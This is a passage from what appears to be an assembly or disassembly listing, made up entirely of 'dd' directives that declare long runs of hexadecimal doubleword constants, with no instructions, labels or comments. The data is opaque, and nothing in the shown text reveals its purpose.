0D3697383h, 5E92EA52h, 8FDE27DCh dd 0ECA802F6h, 60267497h, 6F27F75Eh, 7CEB60EAh, 60238B7h dd 2D7BB8D0h, 0F2CC75ECh, 75D90997h, 6F3D586Eh, 27F55D89h dd 53E85C19h, 8B1E11E1h, 0C004460Dh, 825EC035h, 0F96BB358h dd 9812F0EEh, 0F19D2581h, 32C487E6h, 8AAE337Dh, 0C8097CE6h dd 0E0477F46h, 9760EEF7h, 0B7E05E5Eh, 941D11h, 6A33FBD8h dd 0FC3BE15Ah, 2DBCD63Dh, 17AC413h, 72AB6249h, 0C0E35EDFh dd 2A00F2CFh, 6D6719ECh, 705F04B9h, 0BBBBC98Bh, 8DC9370Bh dd 60097FCFh, 0F21B9B5Ah, 5296908Ah, 1333FB5Bh, 459EEE1Eh dd 0B9D7694Fh, 376704ECh, 26ED8D6Ch, 0CA8ECFDh, 8473AE01h dd 29484D38h, 27FFA26Eh, 30F190h, 234222E7h, 0D095BBF9h dd 2D114427h, 9EC8F700h, 5899C50Dh, 55630017h, 0F3911344h dd 50288247h, 61EE885Eh, 6D6E905Fh, 65EB5400h, 0C079C972h dd 8529BF04h, 0B4ED2C59h, 0B757F8C9h, 8C56AF67h, 0A83DD5A5h dd 5424C25h, 0CD098859h, 8D30BF40h, 4A999529h, 9CA4E30Ch dd 25ADC4ADh, 90D57FABh, 434D9D8Ah, 0BB02BB19h, 163BFEB6h dd 0A83E02D8h, 0EC479DDh, 0CBABB8D7h, 4951377h, 6B00507Bh dd 6EE34C52h, 0DD2F3561h, 29CF505Ah, 0EFB8195Dh, 3D7D04A9h dd 4E422737h, 1C5581FEh, 0FA4E546Fh, 0F33F0512h, 81824AC2h dd 0E7CDF513h, 34201BE5h, 5E4B7C7Fh, 60B9D2A3h, 0FF2E3466h dd 0FE1C50F8h, 237DC380h, 0E2095CE2h, 0A195198Bh, 2F618432h dd 7B9EBA36h, 8D8980E9h, 5849FA95h, 5C0BD50h, 315C2AC2h dd 40077EB7h, 0EBF7F614h, 0D7381E09h, 37ECABB9h, 67C580E3h dd 5DB46C89h, 0E8D17208h, 48798906h, 80AF437Eh, 0CD27BFACh dd 0AF2C4A22h, 161E0D67h, 0B57228AEh, 0C90D8121h, 8C53367Bh dd 9AD79FBDh, 44C892EAh, 73B72CBDh, 5E1C111Dh, 2F00D2E2h dd 1709120Eh, 0C0000C5Ah, 276A3E48h, 1F14371Fh, 27D82FB8h dd 5727A3F6h, 0CD750B1Ah, 61156438h, 132F7451h, 4FD9B2ABh dd 5E0096ECh, 57DD60E4h, 6AEBA0F6h, 9ECEB420h, 75F4BBh dd 0D285B7BFh, 0F2A750C4h, 8207B204h, 0CFE245BDh, 5CB4AD00h dd 8170C29Bh, 0BA47D43Ch, 26468972h, 499FD761h, 25801A91h dd 0E91BF726h, 8017BFEAh dd 0FF04F6EFh, 0E8BC305Dh, 0A8FCADB5h, 1B3802D2h, 0C4DF8088h dd 0C868E95Eh, 0BF56603Dh, 5A61EA3Ch, 0B269E673h, 30093015h dd 0A7ED1097h, 82C84866h, 0FFAA1E00h, 3985018Ah, 0DF5BDFC9h dd 164571CDh, 0CFCD3820h, 4CE09759h, 96383138h, 5395FD50h dd 0B5102514h, 7EF2D9FCh, 200D7C7Bh, 266191E6h, 0F67DAD2Ch dd 8FEDB796h, 0DAE4DFC9h, 3058C29Dh, 2DBD89A7h, 987B174Dh dd 94B65792h, 8A39902h, 0D75E5F33h, 81104351h, 0CB09F5EFh dd 71962C5Eh, 3658008Fh, 3D0438A5h, 6450152Fh, 0FDC700B7h dd 9A87AC51h, 5F09FB74h, 0CD965093h, 4903C230h, 66C11A5Eh dd 53E11BFh, 0B92F2D37h, 0B274E8BDh, 4B5E29D8h, 0FDBB8431h dd 0D34ABD0Bh, 8389B89Ah, 62453579h, 0BAEC5DE9h, 46CCBF4Bh dd 0C71044E9h, 7DB0587Ch, 83AE9C1Ch, 0D29200BCh, 1AEFE4BBh dd 1B6F95C6h, 7AB77E40h, 0C01B2CF0h, 0C4D6258Dh, 0F60E5EA5h dd 22021746h, 89376F0Eh, 76DAC9C2h, 0B0F1084Ah, 0B6F02936h dd 5B05B02Bh, 0C1F3AB69h, 6F3E37ABh, 1322FC12h, 9AAB5FF8h dd 0A6D89685h, 0E84011A3h, 2AC60011h, 2E301A78h, 8DAD0098h dd 7BDAD783h, 6C242387h, 25006376h, 60905F9Dh, 0BA824E0Fh dd 0EE61A928h, 904D2DB7h, 0E370DA7Bh, 5DCE84Dh, 26B1F030h dd 0BC45C4DBh, 0C8F8D673h, 0EFD2DECFh, 0F382B1DBh, 0E9DF3B34h dd 0A940B17Dh, 9F49EA28h, 85806937h, 67AB1D3Eh, 29F51C5Fh dd 0C94BB895h, 0DB6C8488h, 78C2635Ah, 1885F735h, 0CF7BE50h dd 6ECE15A1h, 8709FE89h, 4AF19660h, 0A288BC18h, 0F4C6FD8Eh dd 0AECA67B5h, 0B801D4BFh, 0B529D1FFh, 0F32A0D5Dh, 0A86C8896h dd 0C1D95E99h, 6A026A47h, 0A009BD6Eh, 0CA70DDB2h, 84BFF0D3h dd 0AEA82469h, 0E500B96Eh, 62EBCBB5h, 0B16DF85h, 0C464D89Fh dd 7D9296CCh, 3FA60336h, 4696EE60h, 1CD7EDF2h, 0EA322069h dd 8D0B6012h, 0FF745BBh, 10A4C989h, 27F1182Ch, 0EB9A6C01h dd 61B05A33h, 81AE302Eh, 46036FE7h, 0BF5062A1h, 681991EDh dd 0B3EBE77Ah, 0D00604CAh, 0AE569E5Fh, 5CF97F92h, 0A5D8CBA4h dd 8BBF1161h, 0F22A61F1h, 0E9E69616h, 77956A0h, 70989325h dd 8ED125B1h, 6D95BBCEh, 480740EAh, 0B518CB7Fh, 0F35A1451h dd 6A910473h, 0ADBD01FFh, 17A44C64h, 3BAD11C5h, 519D49E8h dd 25FCA8F6h, 95C5088Dh, 0D8FCE813h, 7A1DABD6h, 0B970E60Ah dd 0DBCD812h, 14578325h, 95C0B0ABh, 66566CBAh, 0BAFB4E31h dd 9184332Fh, 0D98ADD16h, 4BB1C12h, 1201957Eh, 0E1F1C5AAh dd 8FAF2828h, 6BE2D2A5h, 0BAB4884Ah, 0E3BBAF00h, 9116E14Fh dd 34B60198h, 0D19229Ch, 53AC3F06h, 0B78E2B31h, 0F7932BDAh dd 6A4BD4C1h, 405238F4h, 0B6200904h, 4C448E41h, 9D2B5F20h dd 57822425h, 2EDF0139h, 62DA7076h, 36E92F39h, 12550B8Ah dd 4A70E70Dh, 8A216AC8h, 6756A96Ah, 95BC84C9h, 0E9BD2B41h dd 915A3E16h, 0EAB855A7h, 4A8368AAh, 0BE09AF78h, 3737D56Ah dd 44352F8Bh, 2BFF0EF8h, 0AB5202EBh, 0D10C14CDh, 0B69C0E08h dd 2820D420h, 973F7317h, 1D865100h, 0A5D089E3h, 0B9F61752h dd 0F2BF5829h, 37B7FCE1h, 8D8138B7h, 67BB6649h, 60E66A95h dd 71E796F0h, 0A9F58A25h, 0DEC576BBh, 0C9B87E97h, 96FEE8Ah dd 79710725h, 5C35A5h, 0F16F7895h, 0BB0F484Ch, 92055674h dd 15FC1ABDh, 645C018Ch, 12C8BCBFh, 41B88B6Ch, 4214D733h dd 2D460BCh, 3603DDF4h, 10D0C62Eh, 619D224Bh, 0C56F132Eh dd 9B3FAB71h, 0D9EFB715h, 0E401CDBCh, 0C10FCBC9h, 98AD90E1h dd 20CEA90h, 0F8A5F600h, 3D07F3D1h, 0A7CD01A6h, 335250A9h dd 34282E13h, 0F610BC85h, 10CB5C05h, 0CCEA5BBDh, 3FE1B852h dd 0E6C0D99Eh, 67661CD9h, 64CFCDB5h, 6FB66017h, 0B9264AAFh dd 2F1DC4EDh, 993F8324h, 23ACBD5Eh, 0D35769B2h, 0C0FCD0EEh dd 53A45800h, 813C87EEh, 0ACA03BC7h, 47C57EA5h, 0CF044E09h dd 0C0BE401Bh, 0DFB03360h, 614BE392h, 0E634668Ah, 0D49BBA56h dd 4E7E9CC0h, 601C644Ah, 628FDF81h, 63E11282h, 12A3F7E4h dd 0FA3D4176h, 172B8289h, 839D9B3Eh, 1DB7547Bh, 6585CAACh dd 0F5407B5Eh, 2B351Fh, 0C89915E9h, 0BA29160h, 5602F000h dd 0BDF6D4BBh, 0BC5F4E11h, 15A8419h, 0CBA091E7h, 462D47A7h dd 0A9FCC11Ch, 0BDABFD2Fh, 26E4623Eh, 3640D87Ch, 3F72CBh dd 0BDCDB45Ch, 0F84CEEF6h, 41825F4Fh, 4A965709h, 42E64DB7h dd 59F56143h, 0DE4926B3h, 0AE26A47Fh, 762F026Bh, 0FF5BA740h dd 0A7CFD0h, 0F6D2AF9Bh, 80F986F5h, 0EB43BB00h, 0B168570Fh dd 8AAD25DBh, 4EC5A0FFh, 97757128h, 1F12CA37h, 8107BFA3h dd 0D4C420EBh, 0C39AB85Fh, 961B509h, 1DAE9DDh, 853D5Dh dd 0E583FB08h, 2E133BCBh, 71FFAB31h, 432D5B1h, 5C53E2FAh dd 6F85164Bh, 0C6EC69BDh, 32823A13h, 0EF00D6BCh, 0ADB7082Fh dd 0ED951BB3h, 606D68A6h, 9953A533h, 212DEE04h, 0AEB99AD1h dd 0E821A95Bh, 33EE12A7h, 5BD98257h, 954FE6DFh, 0F9B7D7B0h dd 64D20F97h, 0BF2804F1h, 0C182C009h, 4A02443Bh, 9283E3C6h dd 0FAEBCCEFh, 10D872B5h, 22B59Dh, 2EB86050h, 7E7A55DFh dd 4AD5A60Fh, 2B9FF5FDh, 952A93E0h, 14E47CEDh, 0C0D97C62h dd 2B192800h, 0ACB4BDh, 4A8ED918h, 0D7768A4h, 0E44E132Dh dd 0C510073h, 782F5881h, 18004229h, 0C11BCF9Fh, 25C72675h dd 947AF40Dh, 0C0E8800h, 0F741BF4Eh, 8D1E252Bh, 0A3F5Dh dd 2F1BEDDEh, 514A0E65h, 41AC88h, 0D339A5B1h, 0A3C76CE2h dd 0CFA0DCE8h, 0EA002305h, 5F861CF9h, 0A6850F90h, 31F09FAFh dd 6D4DBB1Fh, 0C2A37CAFh, 0D35D319Dh, 0B52EBE88h, 0F96145D7h dd 1209B8B7h, 0E3940A66h, 6C6BD3AFh, 0F564FF4Fh, 2438AAA1h dd 42F48A4Ah, 714250FCh, 29E981CAh, 0DF3A5C27h, 8BD20260h dd 0E6891D11h, 0FFD956F8h, 5C1A971h, 0C871F907h, 9C506B44h dd 8E014B7Ch, 13582AA3h, 5429C12Dh, 98485259h, 8B4FDB9Bh dd 0AE4853EFh, 0A6BB1D24h, 2679F0BCh, 3E7B0013h, 9E8680BBh dd 0EC955363h, 0BFB32536h, 0FBB95CC6h, 3D660200h, 68030Fh dd 0D32DC097h, 8F775196h, 2577EA77h, 0B337BF1Dh, 57501D47h dd 6EE45D2Bh, 748C89BFh, 0CF25DC84h, 821851C9h, 1CA98501h dd 54909F94h, 0CE23A125h, 0A8035A4Fh, 0B529811Ch, 0F63A1881h dd 3017F2BBh, 6426126Bh, 8609142Ah, 0AB5C7344h, 51B25843h dd 0E09DB05h, 9AAB0CC4h, 2818CA98h, 35EAD74Bh, 124D2EC0h dd 0D8EB329Ch, 0C953BD60h, 1C105D8h, 0AB73E3BFh, 6F57B56Dh dd 4BDB16DCh, 0D7379E5Fh, 0F9E262FBh, 0F8355B75h, 5C018234h dd 0DE07FE29h, 0D82C49A9h, 3E37B1D2h, 0BB00017Bh, 0C0868A5Bh dd 1E2EA202h, 9D0B1BD1h, 0B2199361h, 0DF154695h, 5A09A67Eh dd 865D4C0h, 9F0464BDh, 1A647B6Dh, 1F62AE64h, 87DB7550h dd 52DA8D0h, 99B5016Bh, 895F6010h, 234B2D95h, 7D511E9Ch dd 0F216231h, 17D4605Bh, 19190508h, 20DF68Bh, 0B7284061h dd 0BC584ED0h, 7CABB747h, 3300F6AEh, 0B30C7B29h, 1F814CFBh dd 8055AFCBh, 505B572Dh, 90AADD8Ah, 3822B75Fh, 0E0FE17BFh dd 0D5B94F3Dh, 511583D6h, 1BB012E4h, 9D265185h, 0E56AF76Bh dd 2F8A3EEh, 4CB602BBh, 0DE355701h, 17861591h, 0E312AA82h dd 5F04EB9Eh, 0E2BA14C9h, 6203AC38h, 2FFD5222h, 959ACE77h dd 0DE419B9Ah, 560DACA9h, 1298D5C9h, 0CB12A3BBh, 96E25D52h dd 7E22738Dh, 79F020B6h dd 0D048EE32h, 0BC510E3h, 9DC6024h, 38D714A9h, 0EC18B956h dd 0BD61F8E2h, 2F51EB60h, 0DE257C9Fh, 4B3C9800h, 67209FE3h dd 0E78105FAh, 0F03D64F1h, 2816CBA0h, 0B6F2C61Ch, 447AAB4Bh dd 1E08604Ah, 9972FE9h, 72BF539Eh, 2FAF5177h, 4D33A790h dd 6001A17Fh, 0B52EB7C2h, 5026C18Bh, 2E62DDF1h, 0B790BC30h dd 0ECCBB773h, 1A79FCBDh, 896087EEh, 956E5F31h, 7F37F002h dd 81800720h, 0D5784BF9h, 526D4D20h, 0BB1FDE01h, 3D268C4Dh dd 0F93EA670h, 0C55EEE49h, 9FFEA9Ah, 0A8B70553h, 7DF0AC85h dd 0B9F513EFh, 61851DD3h, 8942421h, 80071FB9h, 7DBB4AD7h dd 988185B7h, 0C4BBF2A6h, 4F51C230h, 0AFFE17F9h, 71614749h dd 9E7A451h, 0CDD529D1h, 6018C501h, 0AA49B4D9h, 8B72E026h dd 16AE9B16h, 0C46FE9h, 7ABDE963h, 25D583BFh, 71C53C71h dd 0E87E7916h, 0EB100900h, 84C5C671h, 31E69A7Ah, 8ADBD10h dd 81026A00h, 49CEB7EBh, 0BFB8554Ah, 0CE5640CBh, 0D593F240h dd 0E31115C5h, 2917F1DDh, 4753BE85h, 0A63BEF29h, 0B20A7E0h dd 308D099Dh, 0E9481E31h, 16970C63h, 0F9B0207Eh, 316D2AA0h dd 406E6FBFh, 0A0DC215Eh, 6C1BCC0Eh, 0BF87C02Eh, 0B06AAB97h dd 0B38A5BE0h, 0E7E30908h, 0BB5D727h, 7F8C1491h, 8BBEB1BAh dd 6F2A25A8h, 5258ACCBh, 262916B4h, 419C2DAEh, 2B2CF567h dd 556F318Ah, 898AEBB2h, 5F46A5Eh, 0BCC2AF0Bh, 0A3AB4085h dd 8BF101C2h, 0FF6A56E2h, 61F3E026h, 3A6EDA98h, 17C49A58h dd 7AFB22EDh, 67524A69h, 71E94FC7h, 1274293h, 3D120209h dd 44AFF621h, 0ACB00A29h, 928E588h, 22C470E6h, 45165B7h dd 0FA46AF8Fh, 0C52A92C9h, 425C822Dh, 0ED91A95Ch, 38BB24Ah dd 8FFC6280h, 989BA099h, 0BFB31290h, 41BAE1E5h, 2A1F45A7h dd 825F6CE6h, 0C4552E49h, 25AC906Ah, 0ABC4109Dh, 9382F94Bh dd 207B7581h, 0B746C080h, 902052h, 4E63BA2Bh, 49E52995h dd 0D18B1916h, 3DF788h, 0A9ECDA1Eh, 0A4F9A27Fh, 8B386200h dd 0D43EAA47h, 4AAB055Ah, 27FE9DFh, 867EBB4Fh, 0B0F4907Dh dd 0CC6A0315h, 396BD6A5h, 50003BEAh, 447554Ch, 9D1F03BBh dd 5BC3B872h, 0C21E37ABh, 71552001h, 0F811411h, 12D37D75h dd 0E443CA41h, 1DAA10D8h, 0E98CF0D4h, 9BB1730h, 7D3DC399h dd 42ADD771h, 0A053D58Bh, 0B98D8982h, 44145707h, 60040DA2h dd 84D2B9FCh, 0BB0078D3h, 44F38E1Eh, 0F54A0890h, 4AC16BABh dd 62D5E298h, 0ACDDA61h, 0ABF7B902h, 32805EECh, 841FCC4h dd 0E90EC619h, 69607460h, 617218FFh, 20C05B2Bh, 549ED17Ch dd 80972800h, 72A9C942h, 51C60045h, 8A60FB07h, 0D701819Dh dd 78B5D492h, 2643BA5Fh, 7D7625F8h, 0BF552009h, 8F1D9102h dd 2AFB8001h, 12A67B5Bh, 0EA7233A3h, 30D0CB27h, 1E2F6D9h dd 0EA853F71h, 7BE6A3EBh, 0BDC257FCh, 5B002F59h, 4BAEF81h dd 0D481F52h, 4F918A88h, 21C270EAh, 29139B59h, 9AEADFF3h dd 0A47392E7h, 0FACC0E3h, 53D40098h, 0EBCE8160h, 6709D727h dd 0A2219D29h, 555B6159h, 0AE40F895h, 2420C59Ah, 121EC04Dh dd 0EEF98499h, 2FAB6334h, 896A4A04h, 0AF06A316h, 25D733D8h dd 0AEC5B934h, 0BC504C11h, 81314079h, 51D0DB03h, 50B84ED1h dd 1289E421h, 0EB387DA9h, 90C56A9Fh, 10F2BAAAh, 244ABF00h dd 0E1FF0223h, 0C42763B7h, 0AF9B38ABh, 282EFC89h, 1CD3BC4Dh dd 2E6FEEh, 39F7A4ECh, 0E0F2DD9Dh, 66C53704h, 0CCDF4BF8h dd 8ADF4B30h, 9647225Ah, 0B051070h, 79CDC380h, 13C080C3h dd 212B4D6Dh, 0D7ECA774h, 0E4EA9400h, 0BFCFE7Ch, 540997BAh dd 0AF007644h, 4BB1CF15h, 95EDD846h, 0DB208A56h, 56825570h dd 0FC05901Eh, 68008C1Ch, 5E6D8AD0h, 0F225C561h, 0A4FE39BFh dd 3B33709h, 457D6D55h, 0ABB3641Ch, 8E3A9161h, 103A207Ah dd 0C30E201Bh, 0FD385111h, 0B83FAE81h, 0E66AFC30h, 0FABF1764h dd 92019DF3h, 518C821h, 0B6EF04ECh, 61CE0A0Bh, 0B5DE8A90h dd 5F4B2A54h, 75A4AF89h, 0CB090E30h, 4C39D6B9h, 6805FB6Eh dd 0D96C4639h, 832FA2ACh, 32BCACD1h, 2005A231h, 70364ABBh dd 9CAC7A5Eh, 0B2BDC680h, 0E5E90126h, 18292A10h, 8F02FC2Bh dd 61948BDh, 0F901A9E9h, 0D541BB25h, 59DE428Bh, 0CDB901F6h dd 3728F4F0h, 256623A7h, 0CC945713h, 38D3B93Ch, 2AF9185Dh dd 0B52CF19Ch, 10BD85CEh, 7C3D5Ch, 143A2881h, 83A89E7Dh dd 2540F69Fh, 0C09FCE46h, 9525DC18h, 8283AA9Ah, 0D5A0B29h dd 0F86F8599h, 8E5D951Dh, 5235CB31h, 158C49D6h, 0A458F989h dd 70D9F397h, 492445B7h, 83676AB9h, 56A42D10h, 0D25A0005h dd 2C8061B3h, 78BDA375h, 9615403Eh, 0E6E49Dh, 0A40EA9DDh dd 5A8B6DB9h, 8399801h, 35D94156h, 0FD6BEC40h, 96502D5Bh dd 8400F637h, 0E6578DB9h, 0CD4E4A6Eh, 0E5D801FBh, 58680011h dd 0FB4A2766h, 0F00DE51h, 0F71D320Eh, 0D02BE3B8h, 0D49DA706h dd 4BEB4CEBh, 74168A00h, 0A46055D7h, 116EF19Bh, 5B2DBC5Fh dd 0BDD6285Ch, 0CFE78330h, 2A1E7897h, 15250DEh, 76FB2DB8h dd 542EF45Eh, 1ED9FE0Ch, 7ABEA401h, 278CA92Ah, 2435F8B3h dd 52B809A1h, 0E6380BD7h, 0F38105EBh, 0AAC7C6A6h, 0E34FCFCEh dd 0B5A94E1Eh, 0B866FDA5h, 73E4003Fh, 0E69CCEBFh, 236FE933h dd 11B3F421h, 0A84A25E5h, 0E3D0EBCBh, 49B8CE00h, 611C9C68h dd 35E8B0A3h, 0D6A005CBh, 94952DF1h, 0B5C0749Eh, 0B31A18C7h dd 6988041Bh, 2420B7EFh, 53A5F8FCh, 214D9C05h, 40FCCDC9h dd 0A5A197CFh, 31A6A902h, 0D57BBAD3h, 1591A7B5h, 87ADA785h dd 69B81072h, 6D26A288h, 10601F61h, 476C62h, 725ECC75h dd 0B1A3EC54h, 6BBCF700h, 0C58E24BBh, 945B4E65h, 0C0E5DB01h dd 0A9AA98E5h, 0EDA60BDDh, 42E58D73h, 596C650h, 51D1662Eh dd 7909BB78h, 0ADCA5B11h, 0ACD5A82h, 0C780D2B0h, 0A3CCF94Ah dd 0E19D1231h, 1970AB02h, 12C0D781h, 0DA07E515h, 0C018C82Eh dd 0E5252F5Bh, 7751BD2Ch, 565F4FB2h, 544D278Ch, 9C6712C0h dd 1EDBE6E7h, 0E82F6977h, 1CEA9588h, 0B9AC1FEh, 5F5FA972h dd 0EA4892EDh, 0C53C2E0h, 0B61D0EEBh, 0C97351E7h, 6190E4C1h dd 0F29EC700h, 27A3FA43h, 1EA7707Eh, 0A73302E3h, 8A507060h dd 61ACDE4Ah, 0C031DBD6h, 70BA460Dh, 42DB68A9h, 0EF938E46h dd 0ED1DA040h, 7D3A2298h, 19B1810Ch, 0F385CE32h, 2F374621h dd 910527F0h, 4BAA8B5Fh, 31FDF928h, 31B88590h, 22C99624h dd 8C8D0050h, 5C78CC2Fh, 9E7E4CFFh, 7A642200h, 76AD636Fh dd 61C80E8Ah, 0A2B70F96h, 0A80210Ch, 4962C0B7h, 9800EFC4h dd 0FD50DA2Ah, 25316CB4h, 1AD58739h, 0BD3EC48Ah, 0C2E2CCD1h dd 51865629h, 0EA2B132Dh, 6006D835h, 13F20EBFh, 4DEE5696h dd 187E2D05h, 4940505Fh, 0D659F2ECh, 68950637h, 0DA254A69h dd 89AD855Dh, 55B456DAh, 0A0E2A90Fh, 636955E3h, 0BD030B75h dd 0BA5524D1h, 0C1FA40D4h, 10FD8221h, 2158573h, 29A520EDh dd 7870559Dh, 39AA5F4Eh, 506E7A45h, 0F7004448h, 33C57F02h dd 1209D381h, 596F8462h, 29624B2Bh, 0E2AFEDF5h, 0A9C0907Fh dd 0D6256B75h, 9D1566E1h, 22C6D505h, 3C554DE9h, 0D4C2BC94h dd 0E1C98A03h, 0BBB7EE08h, 0FFF499E9h, 705B7BC6h, 8B25F823h dd 0D2B7C1h, 6D55AC6h, 0B52CB6ABh, 0BD04045Eh, 29052271h dd 85D5EF95h, 0D7839AAAh, 3A7718D8h, 32484DF5h, 0AB2A2D13h dd 0BF312730h, 39123BEAh dd 0E9B2E15Fh, 90041784h, 216EBFh, 0D633271Eh, 13CB259h dd 93BBD425h, 842668B7h, 7D9D8B52h, 39C499BEh, 13FCA8CBh dd 0FF8589D2h, 2D8C8588h, 9EB74A08h, 0BE47258Ah, 0A5325E2Fh dd 0E35E6E42h, 8EF800DCh, 13872B7Bh, 7517B7CAh, 40FF8D89h dd 47B3BF86h, 0C5AA4946h, 7469055h, 83F500B5h, 5BE3673Fh dd 0D8023412h, 2B7F681Bh, 60DA846Bh, 0C680F9FCh, 93BCBFB4h dd 6E3DFF00h, 0A4A0849Bh, 1127DDBh, 0B19D05EBh, 4D615850h dd 601F02F1h, 0F40035F9h, 0CCD418C1h, 485200EFh, 0F41B4C0h dd 37959061h, 0CD870094h, 1B250D7Eh, 83CE70Bh, 4BE5CE3h dd 0AB6A85C0h, 57C3AFDBh, 3BD1FC89h, 475DE029h, 0F8F7AEA2h dd 0ED6A4BB6h, 1876BCA2h, 0A454A55Ah, 65B5F3DBh, 517B27CBh dd 20B7F053h, 43E4044Fh, 99BBF144h, 2BE16B7Fh, 0E1335CC2h dd 6A8BD1FFh, 707C70B3h, 68679541h, 8B3E6811h, 9A326590h dd 6608095Eh, 299F0138h, 6B48032Fh, 0C2992EBBh, 0B0721310h dd 85B209F8h, 200975EFh, 60513C68h, 0A99FDE98h, 0BC4DF9Ah dd 18B2614Bh, 0B81D06ACh, 67E5E921h, 139612E6h, 14CB7AF4h dd 4FA9990Ah, 9A929495h, 0BE3DD713h, 0A09BCA00h, 0B892B95h dd 7568608h, 2794EC5Fh, 0F5542001h, 4B0DE9E3h, 0C039EC23h dd 39D258EEh, 0B66312A2h, 128EF250h, 39AB0CA5h, 85351073h dd 7BB7188Dh, 0DDA51D24h, 0AB59C0FBh, 90B7E403h, 0C7C93801h dd 56D950F6h, 0AD93A93Eh, 1F00603Bh, 8E09BCECh, 716B3FD7h dd 0BD0B8527h, 6AB74F31h, 92F78BABh, 7167C03Ch, 915C9524h dd 0ACF75EDEh, 7C57E2AFh, 1E7908B5h, 4F07FC12h, 810BB0F9h dd 3538D8CBh, 1270E6F4h, 0EEB2EB80h, 71E4F931h, 4B2A4A71h dd 7476F7CEh, 31FDE7E0h, 486E12D8h, 2AC9B1ECh, 0B0C1808Ch dd 0B512E2BAh, 0F1672454h, 77D4C99h, 0C6084992h, 11CEB0FEh dd 0D0097C36h, 0D503F71Eh, 65207A64h, 17295C49h, 8B061120h dd 0A7E9F5D1h, 0E2A964Dh, 44044E49h, 28A260h, 23705426h dd 6CBB67h, 5F142E68h, 3B5958Bh, 0C06E23BFh, 719DB907h dd 9226A86Ah, 89239FA4h, 26E02A52h, 605F8015h, 8130D99Dh dd 0E13B4BBFh, 0CFB0EF54h, 5760E961h, 999D011Dh, 896E9509h dd 7090BE82h, 951A8956h, 545F1961h, 523444BDh, 7D0041B2h dd 0C47159A7h, 0EA00E7A9h, 3E20835h, 42B580Dh, 0F68B7982h dd 93D0AD7Ch, 5539F409h, 98139B92h, 6CFAB025h, 88CA22D8h dd 0B226F476h, 7527AD14h, 3DFD1B0Bh, 0CB17015Eh, 8BADB00Dh dd 5409B550h, 0DA50E9EDh, 979EB977h, 50D0092Fh, 0BBF972E2h dd 432B789Dh, 0D695C0E4h, 0B736D6C0h, 4A9C76A9h, 0A882ADF8h dd 0F0038C1Ah, 0FC8D7CE9h, 0B70FE820h, 7E5BB5FEh, 0E2B339FAh dd 16E3DBC8h, 0B98D092Fh, 52C948EEh, 880D1237h, 48C46CDEh dd 44A0FFCFh, 0D23CEB76h, 162124DDh, 0A860EB1Fh, 74E7AED8h dd 0D9464C19h, 4A0D6D10h, 3F66E798h, 0CBCA51BBh, 796AD7BEh dd 48BF9C17h, 21422334h, 0FF477505h, 0F485F11h, 0AD115512h dd 5145924Dh, 0DAAA48CEh, 0AF98D22Bh, 511A69B8h, 0D028E09h dd 67D52A55h, 0EDF3E91Ch, 0CEAA9913h, 4BE93138h, 282BA4B7h dd 1ED2F5D3h, 31CF539Bh, 0AB89BBD3h, 62F7B32Eh, 5D108118h dd 3A6F8F51h, 15B856Bh, 77CF6E97h, 7130FFD9h, 4912D85h dd 0B3E735A1h, 0CA002B93h, 98EF5DBBh, 0C1899555h, 54EA9A5Fh dd 0D24B90C1h, 98A858ADh, 1E9AF05h, 0B5842BC1h, 9A4A8EE8h dd 0C016C8BCh, 31FBE60Ah, 79F58D5Ah, 10F00740h, 0FF654FE5h dd 0D94ABD6Ah, 26E3E89Fh, 0F6A95501h, 7059532h, 1761EC3Eh dd 49AB7CCEh, 0E8F70129h, 178F689Ah, 82547C7h, 0B38B02B9h dd 1FF5F012h, 0EF58C470h, 0E6C2FD4Dh, 273D58C0h, 0B5FFAACBh dd 0EC302720h, 0B93B8E06h, 933007A7h, 4890EF81h, 12602D23h dd 89B5DB80h, 4EE67BF6h, 5EC88B04h, 0DEDAAC61h, 0FA2AEFECh dd 1E6E91Ch, 0DE07DC2Fh, 3349BF00h, 0D08BD3B0h, 0E22C2FB7h dd 22401BD0h, 4ADDEC0Bh, 4B77AA01h, 818F9C2h, 6DD109D4h dd 82A5D259h, 5686B52Eh, 0CEF2FC4h, 0DAEAFC64h, 0C01CC84Fh dd 0F50B0D3Ch, 0B31C797Eh, 7CC57B73h, 0F7EE800Fh, 0B2510030h dd 872F2DA4h, 8B6800E7h, 0B440D97h, 0CE2DCB02h, 10335889h dd 4B059DB5h, 26BF1490h, 76C825C0h, 1E2B55Ch, 236C7504h dd 4D4DDBEh, 97F3B5Ah, 0E6D0AA9Dh, 1366BB96h, 0AB396D44h dd 82BF2F02h, 9794234h, 0FB607F67h, 0B30F6335h, 0F44E80h dd 89431738h, 5A5F0970h, 35F9661h, 5E16DDF7h, 0BF0E12A9h dd 0AC3A7C9Dh, 5760F24Ch, 0DD685E90h, 0D0BDEF00h, 54232FC9h dd 0C432015Fh, 6160A830h, 0E4A96058h, 71BD7876h, 5F0788DAh dd 98C92434h, 135438ECh, 0DB58216Ch, 0EE33807Fh, 1E87B0A7h dd 41A61B5Eh, 59DF817Fh, 2E26F1FEh, 0B3902830h, 575027D3h dd 0FC09C62Bh, 0D2818FF7h, 231F6BABh, 42823E18h, 603FFF85h dd 0B75A340h, 1CC78188h, 7061173Ch, 0E9CFBB80h, 5B44CC1Ch dd 9214C565h, 895EB2F5h, 0B3DDF2Dh, 0BBB46280h, 259D89FCh dd 18551901h, 43F38089h, 0E15BAF41h, 2C232C95h, 8571EC0Ah dd 0AECD163Bh, 1189229Bh, 0EA599904h, 5E34BA8Fh, 482EB251h dd 2ECE00ACh, 0E476118Eh, 17AD7138h, 0E7B1BE90h, 0A311260h dd 446E99AAh, 0E0B3EF45h, 9DDF4B79h, 0E39A2E0Ch, 19A06F81h dd 0C1EA2133h, 35D88BCBh, 401CFE21h, 2972D2BFh, 17891148h dd 1CFC89B7h, 82F1DB93h, 703E5A19h, 0CB0D55C3h, 0DB9ABC3Eh dd 5DBBF5EAh, 19189B5h, 0B76A147Fh, 8B13C2FBh, 3F0232BBh dd 3DD797ABh, 2D79827Dh, 467F6072h, 1AB9010Dh, 9483EEDh dd 17AB2A8Dh, 92BFFDE0h, 32A8C60Eh, 1CADA6A9h, 3C1FAE95h dd 0E3C1DE01h, 69A776A1h, 0B5D7DC2Fh, 172B0941h, 4A09B31Ch dd 527579C1h, 5051033Bh, 189BF20h, 4C75CAB9h, 9EBB123Bh dd 27BFB1E0h, 0A09E523h, 77570905h, 1704CABDh, 0DABFF5A4h dd 0C918C89Ah, 0B44BE5Ch, 9CBC00C5h, 0B2D9E65Eh, 0F822301Dh dd 4CF59400h, 0A931FC8Ch, 0B7DC90CAh, 71974FD2h, 0EE488E92h dd 0C007B424h, 5F57DEFAh, 555B6127h, 4BC9A7A7h, 0C7606D75h dd 82100E16h, 0D5B2779Eh, 44BD7466h, 4215004Ah, 0B8ED3DCCh dd 